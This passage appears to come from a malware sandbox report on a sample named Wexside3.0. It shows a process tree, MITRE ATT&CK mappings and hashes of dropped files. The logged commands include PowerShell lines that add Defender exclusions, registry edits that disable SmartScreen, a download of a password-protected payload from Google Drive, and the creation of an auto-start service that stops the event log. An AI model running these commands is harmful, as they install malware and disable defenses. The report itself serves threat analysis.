  PID:5016
- C:\Windows\system32\find.exe
  find
  2⤵
  PID:2768
- C:\Windows\system32\find.exe
  find
  2⤵
  PID:1348
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c type tmp
  2⤵
  PID:4020
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "if ('C:\Users\Admin\Desktop\Wexside3.0' -like '*temp*') { exit 1 } else { exit 0 }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3588
- C:\Windows\system32\net.exe
  net session
  2⤵
  PID:3428
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:2888
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'; Add-MpPreference -ExclusionPath 'C:\ProgramData'; Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5980
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\AppHost" /v "EnableWebContentEvaluation" /t REG_DWORD /d 0 /f
  2⤵
  PID:5760
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer" /v "SmartScreenEnabled" /t REG_SZ /d "Off" /f
  2⤵
  PID:6112
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://drive.usercontent.google.com/u/0/uc?id=1cOfdrYTcndJEY8uHrMnDtqUbkax07UMo&export=download', 'C:\Users\Admin\AppData\Local\Temp\support.rar')"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3408
- C:\Users\Admin\Desktop\Wexside3.0\rar\UnRAR.exe
  "C:\Users\Admin\Desktop\Wexside3.0\rar\unrar.exe" x -p34nbGjnngjGn484ngn4nGng34GDG -o+ C:\Users\Admin\AppData\Local\Temp\support.rar C:\Users\Admin\AppData\Local\Temp\sf3g
  2⤵
  PID:5868
- C:\Users\Admin\AppData\Local\Temp\sf3g\drivers.exe
  "C:\Users\Admin\AppData\Local\Temp\sf3g\drivers.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  PID:1944
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5304
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5304 -s 1092
      4⤵
      Program crash
      PID:2156
- C:\Users\Admin\AppData\Local\Temp\sf3g\installer.exe
  "C:\Users\Admin\AppData\Local\Temp\sf3g\installer.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  PID:4564
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:5032
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:3524
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:976
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:848
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe delete "GHKOKJMF"
    3⤵
    - Launches sc.exe
    PID:4520
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe create "GHKOKJMF" binpath= "C:\ProgramData\exsgytkvvovp\ayfvnajiment.exe" start= "auto"
    3⤵
    - Launches sc.exe
    PID:5956
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop eventlog
    3⤵
    - Launches sc.exe
    PID:5620
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe start "GHKOKJMF"
    3⤵
    - Launches sc.exe
    PID:4648
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\sf3g\installer.exe"
    3⤵
    PID:1424
  - - C:\Windows\system32\choice.exe
      choice /C Y /N /D Y /T 3
      4⤵
      PID:4408
- C:\Windows\system32\PING.EXE
  ping localhost -n 15
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:5248

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 5304 -ip 5304
1⤵
PID:3416

C:\ProgramData\exsgytkvvovp\ayfvnajiment.exe
C:\ProgramData\exsgytkvvovp\ayfvnajiment.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
PID:5936
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:4788
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:3648
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:6120
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:4064
- C:\Windows\system32\conhost.exe
  C:\Windows\system32\conhost.exe
  2⤵
  PID:4264
- C:\Windows\system32\svchost.exe
  svchost.exe
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1648

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /7
1⤵
- Checks SCSI registry key(s)
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:5588

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" "https://www.bing.com/search?q=3uu4gi.exe 3uu4gi.exe"
1⤵
PID:5304

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=17 --field-trial-handle=4896,i,10369132178352108590,11047993562598554317,262144 --variations-seed-version --mojo-platform-channel-handle=3984 /prefetch:1
1⤵
PID:1872

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=16 --field-trial-handle=3888,i,10369132178352108590,11047993562598554317,262144 --variations-seed-version --mojo-platform-channel-handle=4860 /prefetch:1
1⤵
PID:2828

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=18 --field-trial-handle=5440,i,10369132178352108590,11047993562598554317,262144 --variations-seed-version --mojo-platform-channel-handle=5472 /prefetch:1
1⤵
PID:5376

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=5600,i,10369132178352108590,11047993562598554317,262144 --variations-seed-version --mojo-platform-channel-handle=5608 /prefetch:8
1⤵
PID:4876

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --field-trial-handle=5628,i,10369132178352108590,11047993562598554317,262144 --variations-seed-version --mojo-platform-channel-handle=5704 /prefetch:8
1⤵
PID:1784

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --field-trial-handle=6120,i,10369132178352108590,11047993562598554317,262144 --variations-seed-version --mojo-platform-channel-handle=6136 /prefetch:8
1⤵
PID:4652

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=22 --field-trial-handle=6160,i,10369132178352108590,11047993562598554317,262144 --variations-seed-version --mojo-platform-channel-handle=6296 /prefetch:1
1⤵
PID:5956

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=23 --field-trial-handle=6252,i,10369132178352108590,11047993562598554317,262144 --variations-seed-version --mojo-platform-channel-handle=6240 /prefetch:1
1⤵
PID:1480

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --field-trial-handle=5444,i,10369132178352108590,11047993562598554317,262144 --variations-seed-version --mojo-platform-channel-handle=6180 /prefetch:8
1⤵
PID:6128

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --field-trial-handle=6536,i,10369132178352108590,11047993562598554317,262144 --variations-seed-version --mojo-platform-channel-handle=6528 /prefetch:8
1⤵
- Modifies registry class
PID:6120

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=26 --field-trial-handle=6680,i,10369132178352108590,11047993562598554317,262144 --variations-seed-version --mojo-platform-channel-handle=6696 /prefetch:1
1⤵
PID:2692

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window
1⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
PID:1804
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=127.0.6533.89 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=127.0.2651.86 --initial-client-data=0x238,0x23c,0x240,0x234,0x248,0x7fffa9a3d198,0x7fffa9a3d1a4,0x7fffa9a3d1b0
  2⤵
  PID:4408
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=2220,i,7342151702584451204,13534023629128767981,262144 --variations-seed-version --mojo-platform-channel-handle=2216 /prefetch:2
  2⤵
  PID:6052
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --field-trial-handle=1828,i,7342151702584451204,13534023629128767981,262144 --variations-seed-version --mojo-platform-channel-handle=2216 /prefetch:3
  2⤵
  PID:4060
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --field-trial-handle=2148,i,7342151702584451204,13534023629128767981,262144 --variations-seed-version --mojo-platform-channel-handle=2616 /prefetch:8
  2⤵
  PID:6056
- C:\Program Files (x86)\Microsoft\Edge\Application\127.0.2651.86\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\127.0.2651.86\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --field-trial-handle=4332,i,7342151702584451204,13534023629128767981,262144 --variations-seed-version --mojo-platform-channel-handle=4576 /prefetch:8
  2⤵
  PID:5748
- C:\Program Files (x86)\Microsoft\Edge\Application\127.0.2651.86\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\127.0.2651.86\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --field-trial-handle=4332,i,7342151702584451204,13534023629128767981,262144 --variations-seed-version --mojo-platform-channel-handle=4576 /prefetch:8
  2⤵
  PID:5568
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --instant-process --pdf-upsell-enabled --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4312,i,7342151702584451204,13534023629128767981,262144 --variations-seed-version --mojo-platform-channel-handle=4836 /prefetch:1
  2⤵
  PID:3136

C:\Program Files (x86)\Microsoft\Edge\Application\127.0.2651.86\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\127.0.2651.86\elevation_service.exe"
1⤵
PID:5476

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Power Settings

T1653

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Credential Access

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json

Filesize
2B

MD5
99914b932bd37a50b983c5e7c90ae93b

SHA1
bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f

SHA256
44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a

SHA512
27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports

Filesize
2B

MD5
d751713988987e9331980363e24189ce

SHA1
97d170e1550eee4afc0af065b78cda302a97674c

SHA256
4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945

SHA512
b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
71KB

MD5
f5d7bf3bf6f6f6127cda3634ba1b6ede

SHA1
75a176740ccdbf5596c959d94d495eccb35a7775

SHA256
4f2b4d748dcc9b9505fa99b8c61b66614ef46f3b5a7f851c0647932000ba3e4a

SHA512
638f1813b318fe51403f80fc42109fc81a5a453c6ba421f62f181fd8773a338f725a32aeec7db0542ce14c866166c52fabc70dbdb1aa6797c6f8441fdf7a8214

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
2e301af5b60731be1319b2f2194ca595

SHA1
5f8b5745233d4ed85db71960d19ffb5d19100fb9

SHA256
c95cd443ea5a74dd41dfceb23e3c2dcf1ced87874a20b534dbc925a2de35e7fd

SHA512
ae505d910f0e0be5aaefa5f102720b3cf94c9afddb427c076035976f48b8d68428b79ad8bd5f8ab2d2cf70717cf6498a12a9880c1797ff82c0cb6d91194b8923

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
3a6bad9528f8e23fb5c77fbd81fa28e8

SHA1
f127317c3bc6407f536c0f0600dcbcf1aabfba36

SHA256
986366767de5873f1b170a63f2a33ce05132d1afd90c8f5017afbca8ef1beb05

SHA512
846002154a0ece6f3e9feda6f115d3161dc21b3789525dd62ae1d9188495171293efdbe7be4710666dd8a15e66b557315b5a02918a741ed1d5f3ff0c515b98e2

Download Submit
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\xmd08l7e.default-release\activity-stream.discovery_stream.json

Filesize
21KB

MD5
4e7ac784f84f5e9153040ff3b2159b83

SHA1
b11397bc39c7c81227a3afd69005cda383869f46

SHA256
0b92db640ec5e925847419e5865bdb7d1ddacefba3f7db47e7c877320a5e4fdd

SHA512
9f1138002260a64c49cb8204bb6fb16e32d29ca970e66693398b1a96446e0d3111df30e88976036d6266cdf92f7d260f56c4384eafd6cf11c82748d2ae9db47e

Download Submit
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\xmd08l7e.default-release\activity-stream.discovery_stream.json.tmp

Filesize
18KB

MD5
e684a73b9c5f17d8837219bfc02f9a26

SHA1
f08176472eda1398353d5d51378ac041ac6b289b

SHA256
a3c5e43fd56e251170bf36c87b78337955590b7a1a3ec6b770a64cd5c4101142

SHA512
7ca034dcc445ac9f6084dfecbf1bb4ba6a18e90066512900ed0972a562f455f4f89f6197d200e823036498e050130f0816ec9281ce80b931bd68c7a5bf704064

Download Submit
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\xmd08l7e.default-release\cache2\entries\E449899591A9BC91DFBA673EC0589B51E541A88B

Filesize
13KB

MD5
a524005ca4f4dc784a543f3770e795f5

SHA1
16e3fd9576ff12b3f3dec62e1f6436d1330f685f

SHA256
6a074f55af7c10c41cd1f12593551b52663152e78c0a89ddaee926ead4cb9717

SHA512
f6ab58e0bf9a088143b88b1333758429d550309a93f2d9c311d878a6bdf9add2ce8f40efaede56bee9d3471ea6597bb8b8133461b6874f13be934a396d5dd4c3

Download Submit
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\xmd08l7e.default-release\settings\main\ms-language-packs\browser\newtab\asrouter.ftl

Filesize
7KB

MD5
c460716b62456449360b23cf5663f275

SHA1
06573a83d88286153066bae7062cc9300e567d92

SHA256
0ec0f16f92d876a9c1140d4c11e2b346a9292984d9a854360e54e99fdcd99cc0

SHA512
476bc3a333aace4c75d9a971ef202d5889561e10d237792ca89f8d379280262ce98cf3d4728460696f8d7ff429a508237764bf4a9ccb59fd615aee07bdcadf30

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qmbtl2x2.vmh.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\sf3g\drivers.exe

Filesize
781KB

MD5
eca43edec21680a4c20fadd8e0a02dd4

SHA1
cbb338b6bbe3ff3ab4069073458ece3cbb1f6b98

SHA256
44cc80e1841396b1797554e1da31e022e0e44dbfdbb3209ab980c4c16c18f533

SHA512
81a8d80c2acbdc5b6d96df52045f04db85a07012cd29cb6ce2c971d9f8d0db0d402812fc146eb9810b19758075a55c98d1f63a5d48fc681890335152c430ee0a

Download Submit
C:\Users\Admin\AppData\Local\Temp\sf3g\installer.exe

Filesize
2.6MB

MD5
7ccc1d23fb8184771030e688a3c4baa4

SHA1
3a80f56d66b051333d90e5bab1f8c9e2129dcce5

SHA256
4789e3570e78cce1c18090584916a342dddb809b11fab46a7bc8bd87f681c736

SHA512
d04a451629ddcbc53ec480fbe7557666d6433660724f1973f9d400f1ee0e1a619e3da7f263789c74672480fb391b269d64f956837933e0c88996a852dbd260b6

Download Submit
C:\Users\Admin\AppData\Local\Temp\support.rar

Filesize
2.4MB

MD5
8bc2f33906dff4ad84470a80dfff3f1e

SHA1
6c9eb5d2c5bee96214ad851a0b17a33380bc5388

SHA256
59883511554e6cd9049f19438ab3805b61c701fa0d3c9a3b11237b6b7ff3fbd8

SHA512
0899b077a29fc092e34f9f424e84e1c3329fccae7eb764b649e77b179aeccb150c0dd0c14e3a9e30d0548214d3790b9ec7588de39320cfa71cddfd2648697ba1

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpaddon

Filesize
479KB

MD5
09372174e83dbbf696ee732fd2e875bb

SHA1
ba360186ba650a769f9303f48b7200fb5eaccee1

SHA256
c32efac42faf4b9878fb8917c5e71d89ff40de580c4f52f62e11c6cfab55167f

SHA512
b667086ed49579592d435df2b486fe30ba1b62ddd169f19e700cd079239747dd3e20058c285fa9c10a533e34f22b5198ed9b1f92ae560a3067f3e3feacc724f1

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpaddon-1

Filesize
13.8MB

MD5
0a8747a2ac9ac08ae9508f36c6d75692

SHA1
b287a96fd6cc12433adb42193dfe06111c38eaf0

SHA256
32d544baf2facc893057a1d97db33207e642f0dacf235d8500a0b5eff934ce03

SHA512
59521f8c61236641b3299ab460c58c8f5f26fa67e828de853c2cf372f9614d58b9f541aae325b1600ec4f3a47953caacb8122b0dfce7481acfec81045735947d

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\xmd08l7e.default-release\AlternateServices.bin

Filesize
8KB

MD5
33c5444b423a97766950c42b3a9ddeb2

SHA1
f1d04844c604f5bf7a67d2163b1085decd5e99a0

SHA256
c19bf1596d452363cb1cfc4e49ef362d20871fe8dd21d4a22b93efa36f83f06b

SHA512
29f4505a159b89d72f0ba6e292867a32623a35c79f99f6fc34f2d5e1aa090bb6169bbe0957b48c35e7d681e72fe98b394a7e15776c149e59ea2791f7d999b97d

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\xmd08l7e.default-release\datareporting\glean\db\data.safe.tmp

Filesize
24KB

MD5
88492147dc34776605fb4ffb46bf7503

SHA1
ecbcdc447a6c3c477a4430a65dda0e3be141d421

SHA256
b5fc6fd082b316899b5b5f16531e5fcb6cd9b0f835fa275e7bab5a3a22a83261

SHA512
21ff2f748653b5ef29eb38b952bd143b5860325727e59d42ffc692d8dc2ea62c79bb82838097508f687b9a6b0e98b8530ba2f76116c6c1cac7d6c30837c05295

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\xmd08l7e.default-release\datareporting\glean\db\data.safe.tmp

Filesize
24KB

MD5
ce9bd03214d3c37f7373df1edd560a7e

SHA1
c867ae58c8be0f3bae7ea4d7cb366864488f0175

SHA256
1724a3e7fa55d09d8b846ab96cde605763729f8f9a27612e617d175837977a78

SHA512
f52ae044eb085ee6bdccdaf02d3e6f15c80cfd13200c2c599221f4a35e3fb47ecf2ee24e3787f5403ed890d183903f62d7b9bd000df6f689cfe278d9cd671221

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\xmd08l7e.default-release\datareporting\glean\db\data.safe.tmp

Filesize
5KB

MD5
b41a4ab0b5e4d64eb92ec371cd3cd717

SHA1
4953e6f1e11559a9db8448bde4cbd063cc238bb7

SHA256
a5c6e36c7dc9473973214d7c62c710d89bb73e9f308fd7805417992e1befe339

SHA512
d316f9428ca6967b9ea164e926d61e4d7a1e864648516a4f59778385e6736be2475c4e5f14adc58e5a34d323086adcf8ae1f0759d774c9044f6ce94f0dbd6a4e

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\xmd08l7e.default-release\datareporting\glean\pending_pings\5be2b0cd-2dd1-4a7a-9c3f-e387f786bf7f

Filesize
25KB

MD5
4c21ffd9291989694b8ab62172313332

SHA1
24f1a4d5f07eb1df51fafb0f05c79d93b919c656

SHA256
319cd12195038e44fe89988d296e35a4f46533cc6f8cab1a1acac7d8ef484004

SHA512
6ca54f1d6202477500e49816d1852034f5a8a4dc4e3adc7a2cf37458d4366aec8779ee4c7b738be9c83c86419b91eb17719debfd0a70e973ccc4354458e5c00d

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\xmd08l7e.default-release\datareporting\glean\pending_pings\6a41d90d-ba42-43c2-992a-55f62513052c

Filesize
982B

MD5
4262b98e1d0dd371b1ec5cfebad73f5f

SHA1
22c774bee2d53749db99b53d11217eb4a2887b07

SHA256
886cc7798388be39fa6b88271b2190cffa569149bcc1cff900939b5263029ce6

SHA512
9eb3eefde79f5867c83acdca0ef2a7f9dee0879aff42c6c942f20c69d56ed93af0a0faa2496ea1359c3d341226d1000fb0608e8a9b6733007930e1a802274f01

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\xmd08l7e.default-release\datareporting\glean\pending_pings\ccbcd380-81c2-4565-ab38-f3f101c43595

Filesize
671B

MD5
be261361e8d3fef700693d28ac76fbe4

SHA1
4f926d82c711cdf8c462add5c67f37afa080bc7b

SHA256
e9047f328da9a25f28a552327aa0c4dbaec6e10de58a31a60c9bb95cd3668cd6

SHA512
8e9baf8a01cde5f66ac905c21f127d45529a95cf08c40015fcc43c03ee12c884b226782b8561bbc6ae92a79b2a035dcb49b4b0e3b666a38cb29560aa4297893c

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\xmd08l7e.default-release\gmp-gmpopenh264\2.3.2\gmpopenh264.dll

Filesize
1.1MB

MD5
842039753bf41fa5e11b3a1383061a87

SHA1
3e8fe1d7b3ad866b06dca6c7ef1e3c50c406e153

SHA256
d88dd3bfc4a558bb943f3caa2e376da3942e48a7948763bf9a38f707c2cd0c1c

SHA512
d3320f7ac46327b7b974e74320c4d853e569061cb89ca849cd5d1706330aca629abeb4a16435c541900d839f46ff72dfde04128c450f3e1ee63c025470c19157

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\xmd08l7e.default-release\gmp-gmpopenh264\2.3.2\gmpopenh264.info

Filesize
116B

MD5
2a461e9eb87fd1955cea740a3444ee7a

SHA1
b10755914c713f5a4677494dbe8a686ed458c3c5

